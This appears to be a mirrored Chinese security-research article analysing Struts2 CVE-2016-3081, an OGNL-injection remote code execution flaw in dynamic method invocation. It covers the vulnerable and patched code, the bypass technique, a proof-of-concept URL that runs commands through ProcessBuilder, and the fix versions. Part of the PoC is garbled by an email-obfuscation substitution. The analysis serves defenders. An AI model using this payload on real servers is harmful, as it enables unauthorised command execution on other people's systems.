10

Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析

0x00 漏洞简述


2016年4月21日Struts2官方发布两个CVE,其中CVE-2016-3081官方评级为高。主要原因为在用户开启动态方法调用的情况下,会被攻击者实现远程代码执行攻击。从我自己搜索的情况来看,国内开启这个功能的网站不在少数,所以这个“Possible Remote Code Execution”漏洞的被打的可能性还是很高的。

0x01 漏洞原理


直接进行版本比对,我们可以看到针对这个问题,只对DefaultActionMapper.java这个文件进行了修改,修改内容如下:

enter image description here

我们可以看到只是把method成员变量的值进行了一次过滤,cleanupActionName这个方法是在对“action:”滥用的问题进行添加的,禁止了绝大多数的特殊字符。但是在后来的版本变更中忽略了之前的问题,将method也引入了Ongl表达式,代码在DefaultAction.java的invokeAction中:

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        Object methodResult;
        try {
            methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

我们可以看到methodName被带入到getValue了,熟悉Struts相关漏洞的朋友应该都明白这是什么意思,虽然后面被强制添加了一对圆括号,但是想办法语法补齐就好了。相对应的我们来看下在2.3.18版本之前的代码是怎么处理methodName的:

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        boolean methodCalled = false;
        Object methodResult = null;
        Method method = null;
        try {
            method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);

在这里使用的是反射,所以在这个漏洞发布的时候,我曾一瞬间觉得又是一个骗CVE的鸡肋,但是事实上,这是一个威胁很大的漏洞。但是官方说的受影响版本Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.2 and 2.3.24.2)是不严谨的,应该是2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)

0x02 漏洞利用


利用方式主要难点在于两个地方,一个是上文提到的对于表达式最后的圆括号给予正确的表达式意义。另一个就是在传输过程中method会经过一次转义,双引号和单引号的没有办法使用了,所以需要找到一个绕过。剩下的就是原来套沙盒绕过,命令执行的那套东西了。

对于圆括号,可以直接使用new java.lang.String这样来拼接成new java.lang.String()构成正确Ognl语法。

至于不能使用引号的话,命令执行我们可以使用引用参数的方法来完成对字符串的提取,例如:使用#parameters.cmd来提取http的cmd参数。测试PoC如下:

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@[email protected]_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@[email protected]_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

效果如下图所示:

enter image description here

这里我小小的猜测一下,官方发布的日期是20,而漏洞提交team做宣传是在4月25日,那么是不是在提交CVE时还没有完成弹计算器的利用,还是为了符合漏洞提交规范做的延时?小八卦一下O(∩_∩)O。

0x03 漏洞总结


虽然现在CVE已经发布,但是从目前网络情况上(twitter和微博)来看,并没有安全研究人员关注到这两个CVE,可能是因为官方发布过太多鸡肋的CVE了,国内的各路炒洞高手已经对Struts2麻木了。所以目前的情况是属于漏洞存在那里,发了CVE,但是没有任何人去研究利用,发布相关分析。这个漏洞和Struts2前N次被炒的热热闹闹的漏洞影响和危害相比,真是不可同日而语,这个漏洞真的很实在。

看到这里,打算磨拳擦掌要去调回显PoC的朋友们,这里我要在提醒一次。虽然我在之前说了存在这个问题的站点很多,但是这个漏洞存在版本限制,在Struts2.3.18及其以上的版本才可以触发。而国内大多数的站点由于Struts在2.3.16之后再也没有出现过大的问题,所以绝大多数停留在2.3.16这个版本,这让这个看似很不错的漏洞略显鸡肋了。

防护方案

目前官方已经推出了2.3.20.2、2.3.24.22.3.28.1修复了这个问题,大家可以针对自己所使用的版本进行升级。下载地址:https://struts.apache.org/download.cgi#struts23281


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK